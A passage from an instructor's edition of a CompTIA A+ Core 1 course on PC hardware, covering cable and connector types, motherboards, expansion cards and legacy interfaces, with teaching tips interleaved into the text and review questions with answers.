a suitable adapter cable. Thunderbolt ports are distinguished from MiniDP by a version 4. Explain that
lightning bolt/flash icon. Version 2 of the standard supports links of up to 20 Gbps. connections between
Like DisplayPort multiple monitors can be connected to a single port by daisy- different types of
chaining. ports can often be
made using adapter
cables. (We will cover
adapters in more
detail with legacy
cable types.)

The USB-C form factor adopted for Thunderbolt 3. (Image © 123RF.com)

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Thunderbolt version 3 changes the physical interface to use the same port,
connector, and cabling as USB-C. Converter cables are available to connect
Thunderbolt 1 or 2 devices to Thunderbolt 3 ports. A USB device plugged into a
Thunderbolt 3 port will function normally, but Thunderbolt devices will not work if
connected to a USB port that is not Thunderbolt-enabled. Thunderbolt 3 supports
up to 40 Gbps over a short, high-quality cable (up to 0.5 m/1.6 ft.).

Not all USB-C ports support Thunderbolt 3. Look for the flash icon on the port or
confirm using the system documentation. At the time of writing, converged USB 4 and
Thunderbolt 4 standards have been developed, and products are starting to appear on
the market.

Lightning Interface
Apple’s iPhone and iPad mobile devices use a proprietary Lightning port and
connector. The Lightning connector is reversible.

Apple Lightning connector and port. (Image ©123RF.com)

The Lightning port is found only on Apple’s mobile devices. To connect such a
device to a PC, you need a suitable adapter cable, such as Lightning-to-USB A
or Lightning-to-USB C.

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SATA Hard Drive Cables

As well as external cabling for peripheral devices, some types of internal Show
components use cabling to attach to a motherboard port. Slide(s)
SATA Hard Drive
Serial Advanced Technology Attachment Interface Cables

Serial Advanced Technology Attachment (SATA) is the standard means of Teaching

connecting internal storage drives within a desktop PC. SATA uses cables of up to Tip
1 m (39 in.) terminated with compact 7-pin connectors. Each SATA host adapter Explain that SATA is
port supports a single device. principally used as an
interface and cabling
solution for internal
storage devices (fixed
drives). Point out
that separate cables
are required for data
and power and that
older units might
use the legacy Molex
connectors. Mention
eSATA but do note
that it is not very
widely used compared
to USB.
SATA connectors and ports (from left to right): SATA data, SATA power (with 3.3V orange wire).
(Image ©123RF.com)

The 7-pin data connector does not supply power. A separate 15-pin SATA power
connector is used to connect the device to the PC’s power supply.
The first commercially available SATA standard supported speeds of up to 150
MBps. This standard was quickly augmented by SATA revision 2 (300 MBps) and
then SATA revision 3 (600 MBps).

Motherboard SATA and legacy PATA/IDE ports. (Image ©123RF.com)

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Molex Power Connectors

Internal storage device data cables are unpowered. While the SATA power
connector is the best option for new devices, legacy components connect to the
power supply unit (PSU) via a Molex connector. A Molex connector is usually white
or clear plastic and has 4 pins. The color coding of the wire insulation represents
the DC voltage: red (5 VDC), yellow (12 VDC), and black (ground).

A Molex connector. (Image © 123RF.com)

Some devices might have both SATA and Molex power connectors.

External SATA
There is also an external SATA (eSATA) standard for the attachment of peripheral
drives, with a 2 m (78 in.) cable. You must use an eSATA cable to connect to
an external eSATA port; you cannot use an internal SATA cable. eSATAp is a
nonstandard powered port used by some vendors that is compatible with both USB
and SATA (with an eSATAp cable). The USB interface dominates the external drive
market, however.

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Review Activity:
Cable Types and Connectors
3

Answer the following questions:

1. A technician has removed an adapter card from a PC. Should the Show
technician obtain and install a blanking plate to complete the service Slide(s)
operation? Review

Yes. The fan system is designed to draw cool air across the motherboard and blow Teaching
out warm air. Large holes in the chassis disrupt this air flow. Also, dust will be able Tip
to settle on the system components more easily. A blanking plate covers the empty
Take some time at
slot in the case. the end of each topic
to answer questions.
2. You are labelling spare parts for inventory. What type of USB connector You can use the
is shown in the exhibit? review questions
for discussion in
class or set them for
students to complete
individually during or
after class.

(Image ©123RF.com)

USB 2.0 Type B micro.

3. What is the nominal data rate of a USB port supporting Gen 3.2 2x1?

10 Gbps.

4. True or false? USB-C ports and connectors are compatible with Apple
Lightning connectors and ports.

False. An adapter cable is required.

5. A technician connects a single port on a graphics card to two monitors

using two cables. What type of interface is being used?

Both DisplayPort and Thunderbolt interfaces support this type of daisy-chaining.

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6. A technician is completing a storage upgrade on an older computer.

Examining the power supply, the technician notices that only two of
the five plugs of the type shown in the exhibit are connected to devices.
What is the purpose of these plugs, and can some be left unconnected?

(Image ©123RF.com)

A Molex cable is a power cable used for storage devices that require more power
than can be supplied over most internal bus types. Unused connectors do not pose
any problem (though they should be secured with cable ties to minimize disruption
to air flow). Note that Molex is a legacy connector format. Most drives use SATA
power connectors these days.

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Topic 1B
Install and Configure Motherboards
7

CORE 1 EXAM OBJECTIVES COVERED Show

3.4 Given a scenario, install and configure motherboards, central processing units Slide(s)
(CPUs), and add-on cards.
Install and Configure
Motherboards
The motherboard houses sockets for the devices that implement the core system
Teaching
functions of a personal computer: compute, storage, and networking. Knowledge of
Tip
motherboard types and capabilities plus the different connector types will enable
This topic peeks inside
you to perform component upgrades and repairs efficiently.
the system case to
compare and contrast
Motherboard Functions types and features of
motherboards and
All computer software and data are processed by using the ones and zeroes of adapter cards.
binary code. Software works by running instructions in the central processing unit Show
(CPU). This can be referred to as the compute or processing function of a PC. Slide(s)
Instructions and data also require storage. The CPU can only store a limited number Motherboard
of instructions internally at any one time. Additional storage for running programs Functions
and open data files is provided through system memory. This random-access
memory (RAM) storage technology is nonpersistent. Nonpersistent means that the Teaching
RAM devices can only hold data when the PC is powered on. Mass storage devices Tip
are used to preserve data when the computer is turned off. If learners have
completed the
CompTIA IT
Fundamentals+
course, they should
have a basic
understanding of
computer processing
(input, output,
processing, and
storage); the functions
of the CPU, system
memory, disk drives,
and video adapters;
and the functions of
an operating system,
device drivers, and
application software.
If learners have
not completed the
prerequisite course,
you might need
to provide some
extra explanation as
you discuss these
technologies.

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CPU, cache, and RAM are fast but volatile. Mass storage and removable storage devices provide
slower but permanent data retrieval. (Image ©123RF.com)

These processing and storage components are connected by bus interfaces

implemented on the motherboard. The instructions and data are stored using
transistors and capacitors and transmitted between components over the bus using
electrical signals.
The motherboard’s system clock synchronizes the operation of all parts of the
PC and provides the basic timing signal for the CPU. Clock speeds are measured
in megahertz (MHz) or gigahertz (GHz). Clock multipliers take the timing signal
produced by the generator and apply a multiplication factor to produce different
timing signals for different types of buses. This means that one type of bus can
work at a different speed (or frequency) to another type of bus.
The type of motherboard influences system speed and the range of system
devices and adapter cards that can be installed or upgraded. There are many
motherboard manufacturers, including AOpen (Acer), ASRock, ASUSTek, Biostar,
EVGA Corporation, Gigabyte, Intel, and MSI. Each motherboard is designed to
support a particular range of CPUs. PC CPUs are principally manufactured by Intel
and Advanced Micro Devices (AMD).

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Electrical Safety and ESD

When you open the case to perform upgrades or troubleshooting, you must follow Show
proper operational procedures to ensure your safety and minimize the risk of Slide(s)
damaging components. Electrical Safety
and ESD
Electrical Safety
When working with a PC, you must ensure your own safety. This means that the PC Teaching
must be disconnected from the power supply before opening the case. Additionally, Tip
hold the power button for a few seconds after disconnecting the power cord to Safety procedures
ensure that all internal components are drained of charge. Do not attempt to and ESD precautions
are objectives in Core
disassemble components that are not field repairable, such as the power supply. 2, but it is important
that you reference
Electrostatic Discharge them as prerequisites
for any PC hardware
You need to use tools and procedures that minimize the risk of damage to the maintenance and
sensitive electronic components used inside the PC. Components such as the upgrade tasks.
CPU, system RAM, adapter cards, and the motherboard itself are vulnerable to
electrostatic discharge (ESD). This is where a static charge stored on your clothes or Interaction
body is suddenly released into a circuit by touching it. Handle components by their Opportunity
edges or plastic parts, and ideally, use an anti-ESD wrist strap and other protective If you have some
equipment and procedures. available, show
students how to
wear a wrist strap
and attach it to a
grounding point.

ESD wrist strap on ESD mat. (Image by Audrius Merfeldas © 123RF.com)

Operational procedures covering personal safety and the use of anti-ESD equipment are
covered in more detail in the Core 2 course.

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Motherboard CPU and System Memory Connectors

Show All motherboards have a variety of connector types and socket types for the
Slide(s) system devices: CPU, memory, fixed disk drives, and adapter cards.
Motherboard CPU
and System Memory
Connectors

Teaching
Tip
Focus on identifying
the sockets and slots.
Note that features
and types of power
supplies, system
memory, and CPUs
are covered in more
detail in lesson 2.

Motherboard connectors. (Image © 123RF.com)

CPU Sockets
New motherboards are generally released to support the latest CPU models. Most
PC CPUs are manufactured by Intel and AMD, and these vendors use different
socket designs. Because CPU technology changes rapidly, a given motherboard will
only support a limited number of processor models.
The CPU socket has a distinctive square shape. When the CPU has been installed, it
is covered by a heat sink and fan.
The function of the CPU is supported by the motherboard’s chipset. This consists of
controllers that handle the transfer of data between the CPU and various devices.
The chipset is soldered onto the motherboard and cannot be upgraded. The type
of chipset on the motherboard determines the choice of processor; the type and
maximum amount of RAM; and support for integrated interfaces/ports, such as
video, sound, and networking. Interfaces that are not supported by the chipset can
be installed or upgraded as an adapter card.

System Memory Slots

System memory uses a type of memory technology called random-access memory
(RAM). Program code is loaded into RAM so that it can be accessed and executed
by the processor. RAM also holds data, such as the contents of a spreadsheet or
document, while it is being modified. System RAM is volatile; it loses its contents
when power is removed.

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System RAM is normally packaged as a dual inline memory module (DIMM) fitted
to a motherboard slot. A DIMM slot has catches at either end, is located close to
the CPU socket, and is numbered and often color-coded. There are successive
generations of RAM technologies, such as DDR3, DDR4, and DDR5. A DIMM form
factor is specific to a particular DDR version. A label next to the slots should identify
the type of DIMMs supported.
The capabilities of the memory controller and number of physical slots determine
how much memory can be fitted.

Motherboard Storage Connectors

One or more fixed disks installed inside the PC case provide persistent storage for Show
the operating system, software programs, and data files. Fixed disks use either solid Slide(s)
state drive (SSD) or hard disk drive (HDD) technology. Motherboard Storage
Connectors
Serial Advanced Technology Attachment Interface
Teaching
The motherboard will contain several Serial Advanced Technology Attachment Tip
(SATA) ports to connect one or more fixed drives. SATA can also be used to connect Again, just focus on
removable drives, such as tape drives and optical drives (DVD/Blu-ray). SATA devices identifying the ports.
are installed to a drive bay in the chassis and then connected to a data port via a Properties of storage
cable and to the power supply via a SATA power or Molex connector. devices are discussed
in the next lesson.
M.2 Interface
An SSD can be provisioned in an adapter card form factor. These often use an M.2
interface. An M.2 port is oriented horizontally. The adapter card is inserted at an
angle and then pushed into place and secured with a screw. M.2 adapters can be
different lengths (42 mm, 60 mm, 80 mm, or 110 mm), so you should check that
any given adapter will fit on your motherboard. Labels indicate the adapter sizes
supported. M.2 supplies power over the bus, so there is no need for a separate
power cable.

M.2 form factor SSD being inserted into a motherboard connector. (Image ©123RF.com)

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External SATA Interface

There is also an external SATA (eSATA) standard for the attachment of external
drives, with a 2 m (78 in.) cable. You must use an eSATA cable to connect to
an external eSATA port; you cannot use an internal SATA cable. eSATAp is a
nonstandard powered port used by some vendors that is compatible with both USB
and SATA (with an eSATAp cable).
The main drawback of eSATA compared to USB or Thunderbolt external drives is that
power is not supplied over the cable. This is not so much of an issue for 3.5-inch drives,
which require a separate power supply, but it limits the usefulness of eSATA for 2.5-inch
portable drives.

Motherboard Adapter Connectors

Show Expansion slots accept plug-in adapter cards to extend the range of functions the
Slide(s) computer can perform. There are two main types of expansion slot interface.
Motherboard Adapter
Connectors Peripheral Component Interconnect Express Interface
The Peripheral Component Interconnect Express (PCIe) bus is the mainstream
Teaching
interface for modern adapter cards. It uses point-to-point serial communications,
Tip
meaning that each component can have a dedicated link to any other component.
Explain the concept
of PCIe lanes and how
they relate to slot/
adapter card length.
The total number of
lanes supported by
the chipset might not
be what you expect
from looking at the
slots. For example,
a chipset might
support a maximum
of 24 lanes despite
having 2x16 slots and
a couple of x1 slots.
Using two graphics
adapters in both x16
slots would mean
that they could only
use x8 lanes. The
specification allows
for x32 lanes, but this
type of slot is almost
never used, and x4
slots are not common,
either.
Mention PCI but note
that it is a legacy
technology that is not Motherboard PCI and PCI Express expansion slots. (Image ©123RF.com)
actually very likely
to be encountered
anymore.

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Each point-to-point connection is referred to as a link. Each link can make use
of one or more lanes. The raw transfer rate of each lane depends on the PCIe
version supported. Transfer rates are measured in gigatransfers per second (GT/s).
Throughput in GB/s is the rate achieved after loss through encoding is accounted for.

Version GT/s GB/s for x1 GB/s for x16

2 5 0.5 8
3 8 0.985 15.754
4 16 1.969 31.508
5 32 3.938 63.015
Adapter slots with more lanes are physically longer. Each PCIe adapter card
supports a specific number of lanes, typically x1, x4, x8, or x16. Ideally, the card
should be plugged into a port that supports the same number of lanes. However,
if insufficient slots are available, a card will fit in any port with an equal or greater
number of lanes. This is referred to as up-plugging. For example, a x8 card will fit in
a x8 or x16 socket. The card should work at x8 but in some circumstances may only
work at x1.
It may also be possible to fit a longer card into a shorter slot, referred to as down-
plugging, so long as the card is not obstructed by other features in the case.

A slot may support a lower number of lanes than its physical size suggests. The number
of lanes supported by each slot is indicated by a label on the motherboard. For
example, a slot that is physically x16 but supports only x8 operation will be labelled
x16/x8 or x16 @ x8.

All PCIe versions are backwards-compatible. For example, you can connect a
PCIe version 2 adapter to a version 4 motherboard or install a version 3 adapter
into a version 2 motherboard. The bus works at the speed of the lowest version
component.
PCIe can supply up to 75W to a graphics card via a dedicated graphics adapter slot
and up to 25W over other slots. An extra 75W power can be supplied via a PCIe
power connector.

Peripheral Component Interconnect Interface

Computers can support more than one expansion bus, often to support older
technologies. Peripheral Component Interconnect (PCI) is a legacy bus type,
having been superseded by PCI Express. PCIe is software compatible with PCI,
meaning that PCI ports can be included on a PCIe motherboard to support legacy
adapter cards, but PCI cards cannot be fitted into PCIe slots.
As with many legacy technologies, PCI uses parallel communications. Most types
of PCI are 32-bit and work at 33.3 MHz, achieving a transfer rate of up to 133 MBps
(that is, 32 bits divided by 8 to get 4 bytes, then multiplied by the clock rate of 33.3).
The earliest PCI cards were designed for 5V signaling, but 3.3V and dual voltage
cards became more prevalent. To prevent an incompatible PCI card from being
inserted into a motherboard slot (for example, a 3.3V card in a 5V PCI slot), the
keying for the three types of cards is different.

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32-bit PCI sound card with dual voltage. (Image ©123RF.com)

Motherboard Form Factors

Show The motherboard form factor describes its shape, layout, and the type of case
Slide(s) and power supply that can be used, plus the number of adapter cards that can be
Motherboard Form
installed.
Factors
Advanced Technology eXtended Form Factor
Teaching
Tip The Advanced Technology Extended (ATX) specification is the standard form
factor for most desktop PC motherboards and cases. Full-size ATX boards are
The “I” in ITX could
stand for information. 12 inches wide by 9.6 inches deep (or 305 mm x 244 mm). An ATX board can
Via originally planned contain up to seven expansion slots.
to use the form factor
The Micro-ATX (mATX) standard specifies a 9.6-inch (244 mm x 244 mm) square
in an “Information PC”
board. mATX boards can have a maximum of four expansion slots.
product.

Interaction Most mATX boards can be mounted in ATX cases.

Opportunity
If you have samples
of different
motherboards,
you could pass
them around now.
Emphasize that these
form factors can be
matched to different
case types.

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Information Technology eXtended Form Factor

Small form factor (SFF) PCs are popular as home machines and for use as mini
servers. SFF PCs often use Via’s Mini-ITX (Information Technology Extended)
form factor.
Mini-ITX is 6.7 inches (170 mm x 170 mm) square with one expansion slot. These are
designed for small cases, but do note that most mini-ITX boards can be mounted
in ATX cases. There are also smaller nano-, pico-, and mobile-ITX form factors, but
these are used for embedded systems and portables, rather than PCs.

No commercial motherboards were ever produced from the original plain ITX specification.

Motherboard Installation
The motherboard is attached to the case by using standoffs. These hold the
motherboard firmly and ensure no other part of it touches the case. The standoffs
are positioned in holes that line up in the same position in the case and the
motherboard if they use compatible form factors
The general procedure for installing a motherboard is as follows:
1. Use the motherboard documentation to familiarize yourself with the specific
installation procedure. Check whether any jumper clips need to be adjusted.
A jumper is placed over header pins in a particular orientation. For example,
there might be a jumper that enables recovery mode.

The motherboard is vulnerable to electrostatic discharge (ESD). Always take anti-ESD

precautions when handling and storing these devices.

2. Orient the board to the oblong I/O cutout at the rear of the case. Prepare the
motherboard I/O blanking plate in the correct orientation by removing caps so
that USB, audio, and video ports will be uncovered when the board is fitted. Fit
the blanking plate to the case by snapping it into the cutout.

3. Insert standoffs into the case to match the hole locations on the motherboard.
Standoffs are usually threaded, though older cases might use push-down
pegs. There might be a guide standoff attached to the case or all standoffs
might come preinstalled. Make sure that corners, long edges, and the center
of the board will be supported. Do not add standoffs where there is no
corresponding hole in the motherboard.

4. Optionally, add the CPU and memory modules to the motherboard before
installing the board in the case.

5. Check the alignment and standoff location again and verify that each standoff
is secure. If everything is correct, place the motherboard on the standoffs.

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Align the board with the I/O cutout (top left) and ensure that it is supported by standoffs at the
edges and in the center. (Image courtesy of CompTIA.)

6. Secure each standoff using the appropriate screw type. Make sure that
the board is firm and stable, but do not overtighten the screws or you risk
cracking the board.

7. To complete PC installation, add the power and disk devices to the case, install
any addon adapter cards to the motherboard, and install the data and power
connectors.

Selection and installation of power, disk, system memory, and CPU devices are covered
in detail in the next lesson.

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Motherboard Headers and Power Connectors

In addition to slots and sockets for system devices, motherboards also include Show
connectors for components such as case buttons, speakers, and fans. Slide(s)
Motherboard Headers
and Power Connectors

Interaction
Opportunity
If you have examples
to show or pass
around, point out
these features or get
students to locate
them.

Motherboard front panel, USB, and audio headers. (Image ©123RF.com)

Headers
Components on the front and rear panels of the case connect to headers on the
motherboard:
• Power button (soft power)—Sends a signal that can be interpreted by the OS
as a command to shut down rather than switching the PC off. Holding down the
power button for a few seconds will cut the power, however.
• Drive (HDD) activity lights—Show when an internal hard disk is being accessed.
• Audio ports—Allow speakers and/or headphones and a microphone to be
connected to the computer.
• USB ports—Internal USB 2 connections are made via 9-pin headers, which
accept up to two 4-pin port connections (the 9th pin is to orient the cable
correctly). USB 3 headers use a 2x10 format and can be cabled to two ports.

When disassembling the system, you should make a diagram of the position and
orientation of header connectors. If you do not have a diagram, you will have to
refer to the motherboard documentation or go by any labels printed on the wires
and headers. These are not always very easy to follow, however.

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Power Connectors
The motherboard also contains various connection points for the power supply
and fans.
• The main P1 motherboard power connector is a distinctive 2-pin x 12-pin block
with square pin receptacles.
• Fan connectors are 3- or 4-pin Molex KK format. There will be one for the CPU
and one or more for the case fans and components such as memory and video
adapters. 4-pin fan connectors support precise fan-speed control via a pulse width
modulation (PWM) signal carried by the blue wire. 3-pin fans are controlled by
varying the voltage.

Fans with a 3-pin connector can usually be used with 4-pin headers, but the system may
not be able to vary the fan speed (or may need special configuration to be able to do
so). A fan with a 4-pin connector will usually work with a 3-pin header but will not be
able to use PWM.

Video Cards and Capture Cards

Show An expansion card adds functions or ports that are not supported by the
Slide(s) integrated features of the motherboard. An expansion card can be fitted to an
Video Cards and
appropriate PCIe or PCI slot. Some of the main types of expansion card are sound,
Capture Cards video, capture, and network.

Teaching Video Cards

Tip
The video card (or graphics adapter) generates the signal to drive a monitor
This course mentions
only the expansion or projector. Low-end graphics adapters are likely to be included with the
cards listed in the motherboard chipset or as part of the CPU itself. This is also referred to as an
A+ Core 1 exam onboard adapter or onboard graphics. If a computer is to be used for 3-D gaming,
objectives. Remind computer-aided design (CAD), or digital artwork, a more powerful video adapter
learners that there is required. This can be installed as an add-on card via a PCIe slot. Most graphics
are many other sorts
adapters are based on chipsets by ATI/AMD, NVIDIA, and Intel. Video cards are
of expansion cards
available. distinguished by the following features:
Summarize the • Graphics Processing Unit (GPU)—A microprocessor designed and optimized for
basic features that processing instructions that render 2-D and 3-D images and effects on-screen.
distinguish video card The basic test for a GPU is the frame rate it can produce for a particular game
models and explain
or application. Other performance characteristics include support for levels of
the function of capture
cards. texture and lighting effects.

• Graphics memory—3-D cards need a substantial amount of memory for

processing and texture effects. A dedicated card may be fitted with up to 12 GB
GDDR RAM at the high end; around 4–6 GB would be more typical of current
mid-range performance cards. Low-end cards use shared memory (that is, the
adapter uses the system RAM). Some cards may use a mix of dedicated and
shared memory.

• Video ports—The type and number of connectors, such as HDMI, DisplayPort,

and Thunderbolt.
Graphics Double Data Rate (GDDR) memory technology is similar to the DDR modules
used for system RAM.

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Most modern cards use a PCIe x16 interface. Dual cards, using two (or more) slots,
are also available.

A video/graphics card with DisplayPort, HDMI, and DVI-I ports. (Image ©123RF.com)

Capture Cards
Where a graphics card generates an output video signal to drive a monitor, a
capture card is used to record video input and save it as a type of movie or
streaming media file. Many capture cards are designed to record footage from
computer games. Some are designed to work with PC games, while others record
from game console HDMI sources or from a live camera HDMI source, such as a
camcorder or security camera. Another class of capture card can act as a TV tuner
and record video from broadcast TV sources.
A capture card can be fitted as an internal PCIe or as an external unit connected via
USB/Thunderbolt.

Sound Cards Show

Slide(s)
Audio playback is achieved via speakers or headphones, which are connected to Sound Cards
a sound card via an audio jack. Sound cards are also used to record input from a
microphone. Most audio jacks are 3.5 mm (⅛ inch) mono or stereo jacks. These are
Teaching
also referred to as phone plugs or mini tip, ring, sleeve (TRS) connectors.
Tip
Explain types of
audio jacks and their
functions. Optionally,
if you have web
access, show audio
interface models
such as Audient and
Focusrite. These
external boxes are a
better way to deploy
professional-level
recording features
than an internal sound
card.

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Audio jacks on a sound card. (Image ©123RF.com)

Sound cards supporting multiple output channels with an appropriate speaker

system can provide various levels of playback, from mono (on legacy systems) or
stereo to some type of surround sound. Surround sound uses multiple speakers
positioned around the listener to provide a "cinematic" audio experience.
A basic sound chip may be provided as part of the motherboard chipset, but better-
quality audio functions can be provided as a PCIe or PCI expansion card. Pro-level
cards may also feature onboard memory, flash memory storing sound samples
(wavetables), and additional jack types for different input sources.

Audio hardware built into a computer may be susceptible to noise from other internal
components when using recording functionality. Consequently, most audio interfaces
designed for professional use are external units connected via USB or Thunderbolt.

Network Interface Cards

Show Most computers have an Ethernet network adapter already installed as part of the
Slide(s) motherboard chipset. However, there may be occasions when you need to install
Network Interface an add-on network interface card (NIC) or need to upgrade an adapter to use a
Cards different type of network or cabling/connector, such as copper cable versus fiber
optic. A dedicated NIC may also provision multiple ports. These can be bonded into
Teaching a single higher bandwidth link.
Tip
Note that NICs and
network connectors/
cabling are covered
later.

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RJ45 ports on a Network Interface Card (NIC). (Image ©123RF.com)

A Wi-Fi adapter can be added to connect to a wireless network. Wi-Fi adapters are
developed to different 802.11 standards. There are also cards that can connect to
cellular data networks.

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Review Activity:
Motherboards
8

Answer the following questions:

Show 1. What type of motherboard socket is used to install system memory?

Slide(s)
Dual inline memory module (DIMM).
Review
2. How many storage devices can be attached to a single SATA port?
Teaching
Tip One.
Take some time at
the end of each topic 3. What is the bandwidth of a PCIe v2.0 x16 graphics adapter?
to answer questions.
You can use the 8 GBps in each direction (full-duplex). PCIe v2 supports 500 MBps per lane.
review questions
for discussion in 4. You have a x8 PCIe storage adapter card—can you fit this in a x16 slot?
class or set them for
students to complete Yes—this is referred to as up-plugging. On some motherboards it may only function
individually during or as a x1 device though.
after class.
5. You are labelling spare parts for inventory. What type of motherboard is
displayed here?

(Image ©123RF.com)

Both Micro-ATX and Mini-ITX are square form factors, but Mini-ITX is 6.7 inches
square, while Micro-ATX is 9.6 inches x 9.6 inches.

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6. You have another part to label for inventory. What category of adapter
card is shown in the exhibit?

(Image ©123RF.com)

This is a sound card. It can be identified by the distinctive 3.5 mm audio jacks for
connecting microphones and speakers.

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Topic 1C
Explain Legacy Cable Types
7

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 3.1 Explain basic cable types and their connectors, features, and purposes.
Explain Legacy
Cable Types
As PC designs have evolved over the years, many types of bus interface have been
Teaching
implemented as connectivity solutions for computer components that maximize
Tip
the performance and functionality at the time. There can be many reasons why
This topic covers older
computer systems using these older bus types remain in use in the workplace. As
cable types.
you are likely to work in diverse environments over the course of your career, it is
important that you be able to support older technologies alongside modern ones.

DVI and VGA Video Cables

Show The HDMI and DisplayPort video interfaces only support digital flat-panel displays.
Slide(s) Older video interfaces were used when computer monitors and projectors were
DVI and VGA Video predominantly of the cathode ray tube (CRT) type, driven by an analog signal.
Cables
Digital Visual Interface
Teaching
Tip Digital Visual Interface (DVI) is designed to support both analog and digital
Note that these are
outputs. While popular for a period after its introduction in 1999, DVI is no longer
legacy interfaces in active development. You are only likely to encounter DVI on older display devices
and not likely to be and video cards.
used on modern
equipment. Explain There are five types of DVI, supporting different configurations for single and dual
the difference link (extra bandwidth) and analog/digital output signaling. The pin configuration of
between the analog the connectors identifies what type of DVI is supported by a particular port.
signal used to drive a
CRT-type monitor and
the digital signals used
by modern LCD/LED/
OLED screens.

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DVI port and connector types. (Image ©123RF.com)

DVI-I supports both analog equipment and digital outputs. DVI-A supports only
analog output and DVI-D supports only digital.

Video Graphics Array Interface

The 15-pin Video Graphics Array (VGA) port was the standard analog video
interface for PC devices for a very long time. Up until a few years ago, most video
cards and monitors included a VGA port, though it is starting to be phased out
completely now. VGA will usually support resolutions up to HD (1920x1080),
depending on cable quality. The connector is a D-shell type with screws to secure it
to the port.

A VGA connector and port. (Image ©123RF.com)

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Small Computer System Interface

Show Modern bus interfaces such as USB and Thunderbolt use serial communications.
Slide(s) These serial links can achieve Mbps and Gbps speeds through the use of improved
Small Computer signaling and encoding methods. Back when serial interfaces were much slower,
System Interface PC vendors used parallel data transmission to support better transfer rates. While
a serial interface essentially transfers 1 bit at a time, a parallel interface transfers
Teaching 8 bits (1 byte) or more. This requires more wires in the cable and more pins in the
Tip connectors, meaning parallel interfaces are bulky.
Explain that these
interfaces are
Small computer system interface (SCSI) is one example of a legacy parallel bus.
obsolete, but you One SCSI host bus adapter (HBA) can control multiple devices attached by internal
might find them ribbon cables or external SCSI cables. The SCSI standard also defines a command
on “unreplaceable” language that allows the host adapter to identify which devices are connected to
legacy systems; that the bus and how they are accessed.
is, those that don’t
require any sort of SCSI could be used for both internal devices and external peripherals, such as
performance but run scanners and printers, but you are now unlikely to find it used for any purpose
some type of bespoke other than the connection of internal hard disk drives. SCSI could support data rates
application that is just
up to 320 MBps. There have been numerous versions of SCSI with many different
too risky to try to swap
out. Try not to get physical connectors, but you are only likely to come across high density (HD)
bogged down in the 68-pin connectors or single connector attachment (SCA) 80-pin connectors. SCA
complexity of either. incorporates a power connector, while HD-68 is used with Molex power connectors.
Compare the one
device per controller
configuration of SATA
to the complexity of
having 15 devices plus
a host controller in
SCSI.

Internal and external male HD connectors. (Image ©123RF.com)

Each device on a wide SCSI bus must be configured with a unique ID, from 0 to 15.
The host adapter is usually set to 7 or 15. A bootable hard disk is usually allocated
ID 0. The first and last devices on a SCSI bus must be terminated. Termination
may either be enabled internally on the device by setting a switch or by physically
connecting a terminator pack to a device or the host adapter.

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Additionally, you should note that while parallel SCSI as a physical interface has
almost completely disappeared, the software interface and command set are used
in many other storage technologies, including serial attached SCSI (SAS). SAS is a
dominant interface for enterprise-class storage devices in the PC workstation and
server market.

Integrated Drive Electronics Interface

The integrated drive electronics (IDE) interface was the principal mass storage Show
interface for desktop PCs for many years. The interface is also referred to as parallel Slide(s)
advanced technology attachment (PATA). The extended IDE (EIDE) bus interface
Integrated Drive
uses 16-bit parallel data transfers. Electronics Interface
A motherboard supporting IDE may come with one or two host adapters, called
Teaching
the IDE1 channel and the IDE2 channel. These may also be labelled primary (PRI
Tip
IDE) and secondary (SEC IDE). A single IDE channel is now more typical if the
motherboard also supports SATA. Each IDE channel supports two devices, 0 and 1. Again, note that PATA/
EIDE supports two
An EIDE cable typically has three color-coded connectors. The blue connector is devices per controller.
for the motherboard port. The black (end) and grey (middle) connectors attach to Optionally, reference
devices 0 and 1 respectively. When inserting a connector, pin 1 on the cable must the outdated master/
slave terminology for
be oriented with pin 1 on the port. On the cable, pin 1 is identified with a red stripe. device 0 and device
The connectors are also keyed to prevent them from being inserted the wrong way 1 and use it as an
around. opportunity to discuss
how such terminology
is being replaced.

EIDE cable with device 0 (black), device 1 (grey), and motherboard (blue) connectors. The red strip
indicates pin 1 on the cable. (Image ©123RF.com)

Unfortunately, the terms master and slave were used to distinguish device 0 and device 1.
CompTIA and the computing industry generally are working to eliminate this type of non-
inclusive terminology, but you will often still see it used in historical support documentation.

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Serial Cables
Show The serial port is a legacy connection interface where data is transmitted over one
Slide(s) wire one bit at a time. Start, stop, and parity bits are used to format and verify data
Serial Cables transmission. This interface is also referred to as Recommended Standard #232
(RS-232). While modern interfaces like USB are also serial, an RS-232 interface uses
Teaching much less sophisticated signaling methods. Consequently, an RS-232 serial port
Tip supports data rates up to about 115 Kbps only.
Explain that this is
another obsolete
interface. The only
likely scenario for
encountering it is in
systems that use dial-
up analog modems
or serial ports as a
remote management
interface.

9-pin serial connector and port. (Image ©123RF.com)

Serial ports are generally associated with connecting external modems, used to
establish dial-up Internet connections, though even this function has largely been
superseded by USB. You may also come across serial ports on network equipment,
where a serial connection can be used to manage the device.
RS-232 specifies a 25-pin hardware interface, but in practice, PC manufacturers
used the cheaper 9-pin D-subminiature (DB-9) female port shown above.
In Windows, the serial port is referred to as a Communications (COM) port.

You might also come across PS/2 serial ports. PS/2 i used to attach mice and keyboards.
PS/2 ports use a 6-pin mini-DIN format. The green color-coded port is used to attach a
mouse, and the purple one is for a keyboard.

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Adapter Cables
Given the numerous cable types and connector types, it will often be the case that Show
a basic peripheral cable will not provide a connection between a port available on Slide(s)
the PC and the port used on the peripheral device. An adapter cable can often be Adapter Cables
used to overcome this issue. An adapter cable has connectors for two different
cable types at each end. An active adapter uses circuitry to convert the signal, while Teaching
a passive adapter simply converts between two connector form factors. Tip
The following types of adapter cable are typical: Passive adapters
solve the problem
• Video adapters convert between signaling types, such as HDMI to VGA, HDMI to of incompatible
DisplayPort, or HDMI to DVI. connector form
factors, whereas active
• USB adapters to convert connector types, such as USB-C to USB-A. There are also adapters/converters
solve the problem of
USB hubs that provide additional ports.
incompatible signals.
• USB adapters to various kinds of output, including Lightning and HDMI.

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Review Activity:
Legacy Cable Types
8

Show Answer the following questions:

Slide(s)
Review

Teaching 1. You are labelling systems for inventory. What two types of display
Tip cabling can be connected to this laptop?
Take some time at
the end of each topic
to answer questions.
You can use the
review questions
for discussion in
class or set them for The image shows a 15-pin D-shell type video graphics array (VGA) port and a
students to complete beveled high-definition multimedia interface (HDMI) port. The port in between them
individually during or
is an RJ45 network port, and the two ports on the right are USB Type A ports.
after class.
2. Which ports are present on the graphics card shown below?

The port on the left is digital visual interface (DVI). The pattern of pins identifies it
specifically as dual link DVI-I, which supports both digital and analog signaling. The
port on the right is a DisplayPort interface.

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3. Which interfaces does the adapter cable shown below support?

DVI-I (left) and HDMI.

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Lesson 1
Summary
Show
Slide(s)
4

Summary
